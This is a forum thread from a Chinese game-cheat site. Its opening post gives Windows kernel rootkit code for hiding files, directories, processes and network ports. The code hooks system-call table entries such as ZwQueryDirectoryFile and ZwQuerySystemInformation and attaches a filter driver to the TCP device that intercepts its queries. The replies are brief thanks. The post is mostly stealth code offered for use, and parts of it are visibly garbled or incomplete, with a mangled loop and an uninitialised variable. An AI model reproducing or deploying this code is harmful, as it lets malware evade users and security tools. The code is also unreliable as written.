挂海论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
 友情提示:文字/图片广告均非网站意见,请担保交易勿直接付款,由此产生的责任自负
玩游戏来117游戏网(H5不下载也能玩手游传奇,吃鸡,竞技都有)不懂社区·好资源不错过·各位资源站大佬欢迎来采集搬运IOS签名/udid证书出售/送证书加群1040456405 ██【我要租此广告位】██
... .
查看: 2767|回复: 5
打印 上一主题 下一主题

[交流] 教你如何隐藏任意进程,目录/文件,注册表,端口

[复制链接]
3正式会员
192/300

192

积分

68

主题

3

听众
已帮网友解决0 个问题
好评
0
贡献
124
海币
1092
交易币
0
跳转到指定楼层
楼主
发表于 2015-2-9 23:14:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提醒:若下载的软件是收费的"请不要付款",可能是骗子,请立即联系本站举报,执意要付款被骗后本站概不负责。(任何交易请走第三方中介,请勿直接付款交易以免被骗!切记).

友情提示:文字/图片广告均非本站意见,请担保交易勿直接付款,由此产生的责任自负!!!↑↑


查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInFORMation,  
ZwXXXvalueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个  
SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下  
才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals.com 或 WebCrazy 所  
写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 \\Device\\Tcp 与 \\Device\\Udp。我们可以利  
用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到  
隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了  
充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。  
(注册表操作在 RegMon 中写的很详细,这里就不列出了)  

Code:  
--------------------------------------------------------------------------------  

typedef struct _FILETIME  
{  
DWORD dwLowDateTime;  
DWORD dwHighDateTime;  
} FILETIME;  

typedef struct _DirEntry  
{  
DWORD dwLenToNext;  
DWORD dwAttr;  
FILETIME ftCreate, ftLastAccess, ftLastWrite;  
DWORD dwUnknown[ 2 ];  
DWORD dwFileSizeLow;  
DWORD dwFileSizeHigh;  
DWORD dwUnknown2[ 3 ];  
WORD wNameLen;  
WORD wUnknown;  
DWORD dwUnknown3;  
WORD wShortNameLen;  
WCHAR swShortName[ 12 ];  
WCHAR suName[ 1 ];  
} DirEntry, *PDirEntry;  

struct _SYSTEM_THREADS  
{  
LARGE_INTEGER KernelTime;  
LARGE_INTEGER UserTime;  
LARGE_INTEGER CreateTime;  
ULONG WaitTime;  
PVOID StartAddress;  
CLIENT_ID ClientIs;  
KPRIORITY Priority;  
KPRIORITY BasePriority;  
ULONG ContextSwitchCount;  
ULONG ThreadState;  
KWAIT_REASON WaitReason;  
};  

struct _SYSTEM_PROCESSES  
{  
ULONG NextEntryDelta;  
ULONG ThreadCount;  
ULONG Reserved[6];  
LARGE_INTEGER CreateTime;  
LARGE_INTEGER UserTime;  
LARGE_INTEGER KernelTime;  
UNICODE_STRING ProcessName;  
KPRIORITY BasePriority;  
ULONG ProcessId;  
ULONG InheritedFromProcessId;  
ULONG HandleCount;  
ULONG Reserved2[2];  
VM_COUNTERS VmCounters;  
IO_COUNTERS IoCounters;  
struct _SYSTEM_THREADS Threads[1];  
};  

// 隐藏目录/文件  

NTSTATUS HookZwQueryDirectoryFile(  
IN HANDLE hFile,  
IN HANDLE hEvent OPTIONAL,  
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,  
IN PVOID IoApcContext OPTIONAL,  
OUT PIO_STATUS_BLOCK pIoStatusBlock,  
OUT PVOID FileInFORMationBuffer,  
IN ULONG FileInFORMationBufferLength,  
IN FILE_INFORMATION_CLASS FileInfoClass,  
IN BOOLEAN bReturnOnlyOneEntry,  
IN PUNICODE_STRING PathMask OPTIONAL,  
IN BOOLEAN bRestartQuery)  
{  
NTSTATUS rc;  
CHAR aProcessName[80];  
ANSI_STRING ansiFileName,ansiDirName;  
UNICODE_STRING uniFileName;  
PP_DIR ptr;  

WCHAR ParentDirectory[1024] = {0};  
int BytesReturned;  
PVOID Object;  

// 执行旧的ZwQueryDirectoryFile函数  
rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(  
hFile,  
hEvent,  
IoApcRoutine,  
IoApcContext,  
pIoStatusBlock,  
FileInFORMationBuffer,  
FileInFORMationBufferLength,  
FileInfoClass,  
bReturnOnlyOneEntry,  
PathMask,  
bRestartQuery);  

if(NT_SUCCESS(rc))  
{  
PDirEntry p;  
PDirEntry pLast;  
BOOL bLastOne;  
int found;  
p = (PDirEntry)FileInFORMationBuffer; // 将查找出来结果赋给结构  
pLast = NULL;  

do  
{  
bLastOne = !( p->dwLenToNext );  
RtlInitUnicodeString(&uniFileName,p->suName);  
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);  
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);  
RtlUpperString(&ansiFileName,&ansiDirName);  

found=0;  

// 在链表中查找是否包含当前目录  
for(ptr = list_head; ptr != NULL; ptr = ptr->next)  
{  
if (ptr->flag != PTR_HIDEDIR) continue;  
if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) )  
== strlen(ptr->name))  
{  
found=1;  
break;  
}  
}//end for  

// 如果链表中包含当前目录,隐藏  
if(found)  
{  
if(bLastOne)  
{  
if(p == (PDirEntry)FileInFORMationBuffer )  
{  
rc = 0x80000006; //隐藏  
}  
else  
pLast->dwLenToNext = 0;  
break;  
}  
else  
{  
int iPos = ((ULONG)p) - (ULONG)FileInFORMationBuffer;  
int iLeft = (DWORD)FileInFORMationBufferLength - iPos - p->dwLenToNext;  
RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ),  
(DWORD)iLeft );  
continue;  
}  
}  
pLast = p;  
p = (PDirEntry)((char *)p + p->dwLenToNext );  
}while( !bLastOne );  
RtlFreeAnsiString(&ansiDirName);  
RtlFreeAnsiString(&ansiFileName);  
}  
return(rc);  
}  

// 隐藏进程  

NTSTATUS HookZwQuerySystemInFORMation(  
IN ULONG SystemInFORMationClass,  
IN PVOID SystemInFORMation,  
IN ULONG SystemInFORMationLength,  
OUT PULONG ReturnLength)  
{  
NTSTATUS rc;  

ANSI_STRING process_name,process_uname,process_name1,process_name2;  
BOOL g_hide_proc = TRUE;  
CHAR aProcessName[80];  
PP_DIR ptr;  
int found;  

// 执行旧的ZwQuerySystemInFORMation函数  

rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInFORMation)) (  
SystemInFORMationClass,  
SystemInFORMation,  
SystemInFORMationLength,  
ReturnLength );  

if(NT_SUCCESS(rc ))  
{  
if( g_hide_proc && (5 == SystemInFORMationClass))  
{  
// 将查找出来结果赋给结构  
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES  
*)SystemInFORMation;  
struct _SYSTEM_PROCESSES *prev = NULL;  

// 遍历进程  
while(curr)  
{  

if((0 < process_name.Length) && (255 > process_name.Length))  
{  
found=0;  
// 遍历链表  
for (ptr=list_head;ptr!=NULL;ptr=ptr->next )  
{  
if (ptr->flag != PTR_HIDEPROC) continue ;  

if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)  
{  
found =1;  
}  
}  

// 判断如果是隐藏进程名则覆盖掉此进程名  
while(found)  
{  

if(prev)  
{  
if(curr->NextEntryDelta)  
{  
prev->NextEntryDelta += curr->NextEntryDelta;  
}  
else  
{  
prev->NextEntryDelta = 0;  
}  
}  
else  
{  
if(curr->NextEntryDelta)  
{  
(char *)SystemInFORMation += curr->NextEntryDelta;  
}  
else  
{  
SystemInFORMation = NULL;  
}  
}  

if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);  
else  
{  
curr = NULL;break;  
}  
// 遍历链表  
found = 0;  
for (ptr=list_head;ptr!=NULL;ptr=ptr->next )  
{  
if (ptr->flag != PTR_HIDEPROC) continue ;  

if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)  
{  
found = 1;  
}  
}  
}  
}  
if(curr != NULL)  
{  
prev = curr;  
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);  
else curr = NULL;  
}  
}  
}  
}  
return(rc);  
}  

//隐藏端口  

PDEVICE_OBJECT m_TcpgetDevice;  

PDEVICE_OBJECT TcpDevice;  
UNICODE_STRING TcpDeviceName;  
PDRIVER_OBJECT TcpDriver;  
PDEVICE_OBJECT TcpgetDevice;  
PDEVICE_OBJECT FilterDevice  
PDRIVER_DISPATCH Empty;  
NTSTATUS status;  

Empty = DriverObject->MajorFunction[IRP_MJ_Create];  

RtlInitUnicodeString( &TcpDeviceName, L"\\Device\\Tcp");  

//得到已有的设备指针  

status = IoGetDeviceObjectPointer( &TcpDeviceName,  
FILE_ALL_ACCESS,  
&FileObject,  
&TcpDevice  
);  

if(!NT_SUCCESS(status))  
{  
DbgPrint("IoGetDeviceObjectPointer error!\n");  
return status;  
}  

DbgPrint("IoGetDeviceObjectPointer ok!\n");  

// 建立设备  
status = IoCreateDevice( DriverObject,  
sizeof(DEVICE_EXTENSION),  
NULL,  
FILE_DEVICE_UNKNOWN,  
0,  
FALSE,  
&FilterDevice  
);  
if(!NT_SUCCESS(status))  
{  
return status;  
}  

// 加入设备  

TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);  

if(!TcpgetDevice)  
{  
IoDeleteDevice(FilterDevice);  
DbgPrint("IoAttachDeviceToDeviceStack error!\n");  
return STATUS_SUCCESS;  
}  

m_TcpgetDevice = TcpgetDevice;  

// 加到过滤函数中处理  
for(i=0;i {  
if((TcpDriver->MajorFunction!=Empty)&&(DriverObject->MajorFunction==Empty))  

{  
DriverObject->MajorFunction = PassThrough;  

}  
}  

ObDereferenceObject(FileObject);  

NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )  
{  

NTSTATUS status;  
PIO_STACK_LOCATION pIrpStack;  

pIrpStack = IoGetCurrentIrpStackLocation( Irp );  

//如是查询则完成 IRP  
if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode ==  
QUERY_INFORMATION_EX)  
{  
//这里可以近一步判断某个端口  

Irp->IoStatus.Status=STATUS_SUCCESS;  
IoCompleteRequest(Irp,IO_NO_INCREMENT);  
return STATUS_SUCCESS;  
}  

//复制当前 IRP  
IoCopyCurrentIrpStackLocationToNext(Irp);  

IoSetCompletionRoutine( Irp,  
GenericCompletion,  
NULL,  
TRUE,  
TRUE,  
TRUE  
);  

//传递  
return IoCallDriver( m_TcpgetDevice, Irp);  

}



联系我时,请说是在 挂海论坛 上看到的,谢谢!



上一篇:ZwQuerySystemInformation 隐藏程序进程
下一篇:hook ObOpenObjectByPointer
免责声明:
1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关。一切关于该内容及资源商业行为与www.52ghai.com无关。

2、本站提供的一切资源内容信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。

3、本站信息来自第三方用户,非本站自制,版权归原作者享有,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

4、如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵犯你版权的,请邮件与我们联系删除(邮箱:xhzlw@foxmail.com),本站将立即改正。

2

积分

0

主题

4

听众
已帮网友解决0 个问题
好评
0
贡献
2
海币
4
交易币
0
沙发
发表于 2015-2-13 10:54:44 | 只看该作者
谢谢楼主了,正好需要这个

1

积分

0

主题

4

听众
已帮网友解决0 个问题
好评
0
贡献
1
海币
6
交易币
0
板凳
发表于 2016-3-23 11:26:55 | 只看该作者
好贴希望能继续出更多这样的帖子。

12

积分

0

主题

5

听众
已帮网友解决0 个问题
好评
0
贡献
12
海币
12
交易币
0
地板
发表于 2016-5-1 00:11:42 | 只看该作者
收下啦,哈哈哈

1

积分

0

主题

6

听众
已帮网友解决0 个问题
好评
0
贡献
1
海币
8
交易币
0
5#
发表于 2016-5-2 17:39:22 | 只看该作者
为了海B我拼了

1

积分

0

主题

0

听众
已帮网友解决0 个问题
好评
0
贡献
1
海币
10
交易币
0
6#
发表于 2016-5-6 13:28:49 | 只看该作者
支持楼主,感谢楼主!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

免责声明|Archiver|手机版|小黑屋|挂海论坛

GMT+8, 2025-4-5 09:46 , Processed in 0.083712 second(s), 36 queries , Gzip On.

Powered by Discuz! X3.2

本站资源来自互联网用户收集发布,如有侵权请邮件与我们联系处理。xhzlw@foxmail.com

快速回复 返回顶部 返回列表